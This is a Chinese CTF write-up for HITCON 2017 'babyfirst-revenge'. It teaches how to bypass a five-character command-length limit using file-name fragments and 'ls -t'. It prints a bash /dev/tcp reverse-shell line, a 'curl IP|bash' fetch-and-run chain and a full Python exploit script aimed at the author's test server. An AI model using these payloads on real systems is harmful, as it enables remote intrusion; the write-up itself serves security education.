0x01:linux中的 > 符号和 >> 符号
1.通过>来创建文件
>test.txtls
2.通过>将命令执行的结果存入文件中
echo "hello world">test
但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>
echo "aaa">testcat testecho "bbb">>testcat test
0x02:linux中命令换行
在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 "\",可以将一条命令写在多行
比如我们有一个test文件内容如下:
ec\ho \hello \world!
然后我们用sh命令来执行一下:
sh test
成功输出了 hello world!
0x03:ls -t命令
在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
touch atouch btouch cls -t
0x04:利用ls -t 和 > 以及换行符 绕过长度限制执行命令
我们先看执行如下命令的结果:
ls -t>testcat test
ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件
我们可以做如下小实验:
比如我们要执行 echo hello world
> "rld"> "wo\\"> "llo \\"> "he\\"> "echo \\"ls -t > _sh _
我们可以看到,因为我们最后创建的文件 "_"的文件名会输入到文件中导致一个错误信息,但是并不影响我们下面命令的执行,最终成功的输出了 "hello world"
这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令,就会出现下面这种情况
echo \hello world
0x05:hitcon 2017 babyfirst-revenge
这道ctf题目考的就是绕过长度限制执行命令
<?php error_reporting(E_ALL); $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']); mkdir($sandbox); chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { exec($_GET['cmd']); } else if (isset($_GET['reset'])) { exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
既然可以执行命令,那么我们首先想到的是反弹一个shell回来
bash反弹shell的命令如下:
bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1
空格需要转义
>\ \\
构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:
curl ip地址|bash
我们先在自己的vps新建一个文件,内容为
bash -i >& /dev/tcp/120.79.33.253/7777 0>&1
然后在vps上面监听7777端口
nc -lv 7777
因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后
>ls\\ls>_>\ \\>-t\\>\>yls>>_
那么我们再构造curl 120.79.33.253|bash
>bash>\|\\>53\\>2\\>3.\\>3\\>9.\\>7\\>0.\\>12\\>\ \\>rl\\>cu\\
然后运行
sh _
生成文件y
再执行
sh y
最后贴一下我的py脚本
#encoding:utf-8import requestsbaseurl = "http://120.79.33.253:9003/?cmd="reset = "http://120.79.33.253:9003/?reset"s = requests.session()s.get(reset)# 将ls -t 写入文件_list=[ ">ls\\", "ls>_", ">\ \\", ">-t\\", ">\>y", "ls>>_"]# curl 120.79.33.253|bashlist2=[ ">bash", ">\|\\", ">53\\", ">2\\", ">3.\\", ">3\\", ">9.\\", ">7\\", ">0.\\", ">12\\", ">\ \\", ">rl\\", ">cu\\"]for i in list: url = baseurl+str(i) s.get(url)for j in list2: url = baseurl+str(j) s.get(url)s.get(baseurl+"sh _")s.get(baseurl+"sh y")#s.get(reset)
成功拿到shell
自搭测试地址:http://120.79.33.253:9003
想要复现一波的大佬可以复现一下,但请不要破坏环境
如有错误,还望各位大佬指出
文章作者:Drac文章来源:先知社区:https://xz.aliyun.com/t/2748文章参考:https://blog.csdn.net/calmegm/article/details/80874902https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.htmlhttps://blog.csdn.net/calmegm/article/details/80874902